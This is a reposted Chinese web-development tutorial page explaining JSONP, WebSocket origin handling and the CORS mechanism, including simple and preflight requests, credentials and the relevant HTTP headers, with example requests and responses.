服務器收到這個請求以后,會將資料放在回呼函式的引數位置回傳,

foo({
  'ip': '8.8.8.8'
});

由于<script>元素請求的腳本,直接作為代碼運行,這時,只要瀏覽器定義了foo函式,該函式就會立即呼叫,作為引數的 JSON 資料被視為 JavaScript 物件,而不是字串,因此避免了使用JSON.parse的步驟,

59.4.2 WebSocket

WebSocket 是一種通信協議,使用ws://(非加密)和wss://(加密)作為協議前綴,該協議不實行同源政策,只要服務器支持,就可以通過它進行跨源通信,

下面是一個例子,瀏覽器發出的 WebSocket 請求的頭資訊(摘自維基百科),

GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com

上面代碼中,有一個欄位是Origin,表示該請求的請求源(origin),即發自哪個域名,

正是因為有了Origin這個欄位,所以 WebSocket 才沒有實行同源政策,因為服務器可以根據這個欄位,判斷是否許可本次通信,如果該域名在白名單內,服務器就會做出如下回應,

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

59.4.3 CORS

CORS 是跨源資源分享(Cross-Origin Resource Sharing)的縮寫,它是 W3C 標準,屬于跨源 AJAX 請求的根本解決方法,相比 JSONP 只能發GET請求,CORS 允許任何型別的請求,

下一章將詳細介紹,如何通過 CORS 完成跨源 AJAX 請求,

60. CORS 通信

CORS 是一個 W3C 標準,全稱是**“跨域資源共享”(Cross-origin resource sharing)**,它允許瀏覽器向跨域的服務器,發出XMLHttpRequest請求,從而克服了 AJAX 只能同源使用的限制,

60.1 簡介

CORS 需要瀏覽器和服務器同時支持,目前,所有瀏覽器都支持該功能,

整個 CORS 通信程序,都是瀏覽器自動完成,不需要用戶參與,對于開發者來說,CORS 通信與普通的 AJAX 通信沒有差別,代碼完全一樣,瀏覽器一旦發現 AJAX 請求跨域,就會自動添加一些附加的頭資訊,有時還會多出一次附加的請求,但用戶不會有感知,因此,實作 CORS 通信的關鍵是服務器,只要服務器實作了 CORS 介面,就可以跨域通信,

60.2 兩種請求

CORS 請求分成兩類:簡單請求(simple request)和非簡單請求(not-so-simple request),

只要同時滿足以下兩大條件,就屬于簡單請求,

(1)請求方法是以下三種方法之一,

  • HEAD
  • GET
  • POST

(2)HTTP 的頭資訊不超出以下幾種欄位,

  • Accept
  • Accept-Language
  • Content-Language
  • Last-Event-ID
  • Content-Type:只限于三個值application/x-www-form-urlencodedmultipart/form-datatext/plain

凡是不同時滿足上面兩個條件,就屬于非簡單請求,一句話,簡單請求就是簡單的 HTTP 方法與簡單的 HTTP 頭資訊的結合

這樣劃分的原因是,表單在歷史上一直可以跨域發出請求,簡單請求就是表單請求,瀏覽器沿襲了傳統的處理方式,不把行為復雜化,否則開發者可能轉而使用表單,規避 CORS 的限制,對于非簡單請求,瀏覽器會采用新的處理方式,

60.3 簡單請求

60.3.1 基本流程

對于簡單請求,瀏覽器直接發出 CORS 請求,具體來說,就是在頭資訊之中,增加一個Origin欄位,

下面是一個例子,瀏覽器發現這次跨域 AJAX 請求是簡單請求,就自動在頭資訊之中,添加一個Origin欄位,

GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面的頭資訊中,Origin欄位用來說明,本次請求來自哪個域(協議 + 域名 + 埠),服務器根據這個值,決定是否同意這次請求,

如果Origin指定的源,不在許可范圍內,服務器會回傳一個正常的 HTTP 回應,瀏覽器發現,這個回應的頭資訊沒有包含Access-Control-Allow-Origin欄位(詳見下文),就知道出錯了,從而拋出一個錯誤,被XMLHttpRequestonerror回呼函式捕獲,注意,這種錯誤無法通過狀態碼識別,因為 HTTP 回應的狀態碼有可能是200,

如果Origin指定的域名在許可范圍內,服務器回傳的回應,會多出幾個頭資訊欄位,

Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8

上面的頭資訊之中,有三個與 CORS 請求相關的欄位,都以Access-Control-開頭,

(1)Access-Control-Allow-Origin

該欄位是必須的,它的值要么是請求時Origin欄位的值,要么是一個*,表示接受任意域名的請求,

(2)Access-Control-Allow-Credentials

該欄位可選,它的值是一個布林值,表示是否允許發送 Cookie,默認情況下,Cookie 不包括在 CORS 請求之中,設為true,即表示服務器明確許可,瀏覽器可以把 Cookie 包含在請求中,一起發給服務器,這個值也只能設為true,如果服務器不要瀏覽器發送 Cookie,不發送該欄位即可,

(3)Access-Control-Expose-Headers

該欄位可選,CORS 請求時,XMLHttpRequest物件的getResponseHeader()方法只能拿到6個服務器回傳的基本欄位:Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma,如果想拿到其他欄位,就必須在Access-Control-Expose-Headers里面指定,上面的例子指定,getResponseHeader('FooBar')可以回傳FooBar欄位的值,

60.3.2 withCredentials 屬性

上面說到,CORS 請求默認不包含 Cookie 資訊(以及 HTTP 認證資訊等),這是為了降低 CSRF 攻擊的風險,但是某些場合,服務器可能需要拿到 Cookie,這時需要服務器顯式指定Access-Control-Allow-Credentials欄位,告訴瀏覽器可以發送 Cookie,

Access-Control-Allow-Credentials: true

同時,開發者必須在 AJAX 請求中打開withCredentials屬性

var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

否則,即使服務器要求發送 Cookie,瀏覽器也不會發送,或者,服務器要求設定 Cookie,瀏覽器也不會處理,

但是,有的瀏覽器默認將withCredentials屬性設為true,這導致如果省略withCredentials設定,這些瀏覽器可能還是會一起發送 Cookie,這時,可以顯式關閉withCredentials

xhr.withCredentials = false;

需要注意的是,如果服務器要求瀏覽器發送 Cookie,Access-Control-Allow-Origin就不能設為星號,必須指定明確的、與請求網頁一致的域名,同時,Cookie 依然遵循同源政策,只有用服務器域名設定的 Cookie 才會上傳,其他域名的 Cookie 并不會上傳,且(跨域)原網頁代碼中的document.cookie也無法讀取服務器域名下的 Cookie,

60.4 非簡單請求

60.4.1 預檢請求

非簡單請求是那種對服務器提出特殊要求的請求,比如請求方法是PUTDELETE,或者Content-Type欄位的型別是application/json

非簡單請求的 CORS 請求,會在正式通信之前,增加一次 HTTP 查詢請求,稱為“預檢”請求(preflight),瀏覽器先詢問服務器,當前網頁所在的域名是否在服務器的許可名單之中,以及可以使用哪些 HTTP 方法和頭資訊欄位,只有得到肯定答復,瀏覽器才會發出正式的XMLHttpRequest請求,否則就報錯,這是為了防止這些新增的請求,對傳統的沒有 CORS 支持的服務器形成壓力,給服務器一個提前拒絕的機會,這樣可以防止服務器收到大量DELETEPUT請求,這些傳統的表單不可能跨域發出的請求,

下面是一段瀏覽器的 JavaScript 腳本,

var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();

上面代碼中,HTTP 請求的方法是PUT,并且發送一個自定義頭資訊X-Custom-Header

瀏覽器發現,這是一個非簡單請求,就自動發出一個“預檢”請求,要求服務器確認可以這樣請求,下面是這個“預檢”請求的 HTTP 頭資訊,

OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

“預檢”請求用的請求方法是OPTIONS,表示這個請求是用來詢問的,頭資訊里面,關鍵欄位是Origin,表示請求來自哪個源,

除了Origin欄位,“預檢”請求的頭資訊包括兩個特殊欄位,

(1)Access-Control-Request-Method

該欄位是必須的,用來列出瀏覽器的 CORS 請求會用到哪些 HTTP 方法,上例是PUT

(2)Access-Control-Request-Headers

該欄位是一個逗號分隔的字串,指定瀏覽器 CORS 請求會額外發送的頭資訊欄位,上例是X-Custom-Header

60.4.2 預檢請求的回應

服務器收到“預檢”請求以后,檢查了OriginAccess-Control-Request-MethodAccess-Control-Request-Headers欄位以后,確認允許跨源請求,就可以做出回應,

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

上面的 HTTP 回應中,關鍵的是Access-Control-Allow-Origin欄位,表示http://api.bob.com可以請求資料,該欄位也可以設為星號,表示同意任意跨源請求,

Access-Control-Allow-Origin: *

如果服務器否定了“預檢”請求,會回傳一個正常的 HTTP 回應,但是沒有任何 CORS 相關的頭資訊欄位,或者明確表示請求不符合條件,

OPTIONS http://api.bob.com HTTP/1.1
Status: 200
Access-Control-Allow-Origin: https://notyourdomain.com
Access-Control-Allow-Method: POST

上面的服務器回應,Access-Control-Allow-Origin欄位明確不包括發出請求的http://api.bob.com

這時,瀏覽器就會認定,服務器不同意預檢請求,因此觸發一個錯誤,被XMLHttpRequest物件的onerror回呼函式捕獲,控制臺會列印出如下的報錯資訊,

XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.

服務器回應的其他 CORS 相關欄位如下,

Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000
(1)Access-Control-Allow-Methods

該欄位必需,它的值是逗號分隔的一個字串,表明服務器支持的所有跨域請求的方法,注意,回傳的是所有支持的方法,而不單是瀏覽器請求的那個方法,這是為了避免多次“預檢”請求,

(2)Access-Control-Allow-Headers

如果瀏覽器請求包括Access-Control-Request-Headers欄位,則Access-Control-Allow-Headers欄位是必需的,它也是一個逗號分隔的字串,表明服務器支持的所有頭資訊欄位,不限于瀏覽器在“預檢”中請求的欄位,

(3)Access-Control-Allow-Credentials

該欄位與簡單請求時的含義相同,

(4)Access-Control-Max-Age

該欄位可選,用來指定本次預檢請求的有效期,單位為秒,上面結果中,有效期是20天(1728000秒),即允許快取該潭訓應1728000秒(即20天),在此期間,不用發出另一條預檢請求,

60.4.3 瀏覽器的正常請求和回應

一旦服務器通過了“預檢”請求,以后每次瀏覽器正常的 CORS 請求,就都跟簡單請求一樣,會有一個Origin頭資訊欄位,服務器的回應,也都會有一個Access-Control-Allow-Origin頭資訊欄位,

下面是“預檢”請求之后,瀏覽器的正常 CORS 請求,

PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面頭資訊的Origin欄位是瀏覽器自動添加的,

下面是服務器正常的回應,

Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8

上面頭資訊中,Access-Control-Allow-Origin欄位是每次回應都必定包含的,

60.5 與 JSONP 的比較

CORS 與 JSONP 的使用目的相同,但是比 JSONP 更強大==,JSONP 只支持GET請求,CORS 支持所有型別的 HTTP 請求,JSONP 的優勢在于支持老式瀏覽器,以及可以向不支持 CORS 的網站請求資料,==

轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/290903.html

標籤:其他

上一篇:JavaScript(六)(瀏覽器模型/window物件)

下一篇:jQuery操作元素屬性、操作樣式、操作樣式類、操作HTML代碼以及其他操作 [學完你還不會嗎]

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • vue移動端上拉加載

    可能做得過于簡單或者比較low,請各位大佬留情,一起探討技術 ......

    uj5u.com 2020-09-10 04:38:07 more
  • 優美網站首頁,頂部多層導航

    一個個人用的瀏覽器首頁,可以把一下常用的網站放在這里,平常打開會比較方便。 第一步,HTML代碼 <script src=https://www.cnblogs.com/szharf/p/"js/jquery-3.4.1.min.js"></script> <div id="navigate"> <ul> <li class="labels labels_1"> ......

    uj5u.com 2020-09-10 04:38:47 more
  • 頁面為要加<!DOCTYPE html>

    最近因為寫一個js函式,需要用到$(window).height(); 由于手寫demo的時候,過于自信,其實對前端方面的認識也不夠體系,用文本檔案直接敲出來的html代碼,第一行沒有加上<!DOCTYPE html> 導致了$(window).height();的結果直接是整個document的高 ......

    uj5u.com 2020-09-10 04:38:52 more
  • WordPress網站程式手動升級要做好資料備份

    WordPress博客網站程式在進行升級前,必須要做好網站資料的備份,這個問題良家佐言是遇見過的;在剛開始接觸WordPress博客程式的時候,因為升級問題和博客網站的修改的一些嘗試,良家佐言是吃盡了苦頭。因為購買的是西部數碼的空間和域名,每當佐言把自己的WordPress博客網站搞到一塌糊涂的時候 ......

    uj5u.com 2020-09-10 04:39:30 more
  • WordPress程式不能升級為5.4.2版本的原因

    WordPress是一款個人博客系統,受到英文博客愛好者和中文博客愛好者的追捧,并逐步演化成一款內容管理系統軟體;它是使用PHP語言和MySQL資料庫開發的,用戶可以在支持PHP和MySQL資料庫的服務器上使用自己的博客。每一次WordPress程式的更新,就會牽動無數WordPress愛好者的心, ......

    uj5u.com 2020-09-10 04:39:49 more
  • 使用CSS3的偽元素進行首字母下沉和首行改變樣式

    網頁中常見的一種效果,首字改變樣式或者首行改變樣式,效果如下圖。 代碼: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, ......

    uj5u.com 2020-09-10 04:40:09 more
  • 關于a標簽的講解

    什么是a標簽? <a> 標簽定義超鏈接,用于從一個頁面鏈接到另一個頁面。 <a> 元素最重要的屬性是 href 屬性,它指定鏈接的目標。 a標簽的語法格式:<a href=https://www.cnblogs.com/summerxbc/p/"指定要跳轉的目標界面的鏈接">需要展示給用戶看見的內容</a> a標簽 在所有瀏覽器中,鏈接的默認外觀如下: 未被訪問的鏈接帶 ......

    uj5u.com 2020-09-10 04:40:11 more
  • 前端輪播圖

    在需要輪播的頁面是引入swiper.min.js和swiper.min.css swiper.min.js地址: 鏈接:https://pan.baidu.com/s/15Uh516YHa4CV3X-RyjEIWw 提取碼:4aks swiper.min.css地址 鏈接:https://pan.b ......

    uj5u.com 2020-09-10 04:40:13 more
  • 如何設定html中的背景圖片(全屏顯示,且不拉伸)

    1 <style>2 body{background-image:url(https://uploadbeta.com/api/pictures/random/?key=BingEverydayWallpaperPicture); 3 background-size:cover;background ......

    uj5u.com 2020-09-10 04:40:16 more
  • Java學習——HTML詳解(上)

    HTML詳解 初識HTML Hyper Text Markup Language(超文本標記語言) 1 <!--DOCTYPE:告訴瀏覽器我們要使用什么規范--> 2 <!DOCTYPE html> 3 <html lang="en"> 4 <head> 5 <!--meta 描述性的標簽,描述一些 ......

    uj5u.com 2020-09-10 04:40:33 more
最新发布
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 07:59:23 more
  • 生產事故-走近科學之消失的JWT

    入職多年,面對生產環境,盡管都是小心翼翼,慎之又慎,還是難免捅出簍子。輕則滿頭大汗,面紅耳赤。重則系統停擺,損失資金。每一個生產事故的背后,都是寶貴的經驗和教訓,都是專案成員的血淚史。為了更好地防范和遏制今后的各類事故,特開此專題,長期更新和記錄大大小小的各類事故。有些是親身經歷,有些是經人耳傳口授 ......

    uj5u.com 2023-04-18 07:55:04 more
  • 記錄--Canvas實作打飛字游戲

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 打開游戲界面,看到一個畫面簡潔、卻又富有挑戰性的游戲。螢屏上,有一個白色的矩形框,里面不斷下落著各種單詞,而我需要迅速地輸入這些單詞。如果我輸入的單詞與螢屏上的單詞匹配,那么我就可以獲得得分;如果我輸入的單詞錯誤或者時間過長,那么我就會輸 ......

    uj5u.com 2023-04-04 08:35:30 more
  • 了解 HTTP 看這一篇就夠

    在學習網路之前,了解它的歷史能夠幫助我們明白為何它會發展為如今這個樣子,引發探究網路的興趣。下面的這張圖片就展示了“互聯網”誕生至今的發展歷程。 ......

    uj5u.com 2023-03-16 11:00:15 more
  • 藍牙-低功耗中心設備

    //11.開啟藍牙配接器 openBluetoothAdapter //21.開始搜索藍牙設備 startBluetoothDevicesDiscovery //31.開啟監聽搜索藍牙設備 onBluetoothDeviceFound //30.停止監聽搜索藍牙設備 offBluetoothDevi ......

    uj5u.com 2023-03-15 09:06:45 more
  • canvas畫板(滑鼠和觸摸)

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>canves</title> <style> #canvas { cursor:url(../images/pen.png),crosshair; } #canvasdiv{ bo ......

    uj5u.com 2023-02-15 08:56:31 more
  • 手機端H5 實作自定義拍照界面

    手機端 H5 實作自定義拍照界面也可以使用 MediaDevices API 和 <video> 標簽來實作,和在桌面端做法基本一致。 首先,使用 MediaDevices.getUserMedia() 方法獲取攝像頭媒體流,并將其傳遞給 <video> 標簽進行渲染。 接著,使用 HTML 的 < ......

    uj5u.com 2023-01-12 07:58:22 more
  • 記錄--短視頻滑動播放在 H5 下的實作

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 短視頻已經無數不在了,但是主體還是使用 app 來承載的。本文講述 H5 如何實作 app 的視頻滑動體驗。 無聲勝有聲,一圖頂百辯,且看下圖: 網址鏈接(需在微信或者手Q中瀏覽) 從上圖可以看到,我們主要實作的功能也是本文要講解的有: ......

    uj5u.com 2023-01-04 07:29:05 more
  • 一文讀懂 HTTP/1 HTTP/2 HTTP/3

    從 1989 年萬維網(www)誕生,HTTP(HyperText Transfer Protocol)經歷了眾多版本迭代,WebSocket 也在期間萌芽。1991 年 HTTP0.9 被發明。1996 年出現了 HTTP1.0。2015 年 HTTP2 正式發布。2020 年 HTTP3 或能正... ......

    uj5u.com 2022-12-24 06:56:02 more
  • 【HTML基礎篇002】HTML之form表單超詳解

    ??一、form表單是什么

    ??二、form表單的屬性

    ??三、input中的各種Type屬性值

    ??四、標簽 ......

    uj5u.com 2022-12-18 07:17:06 more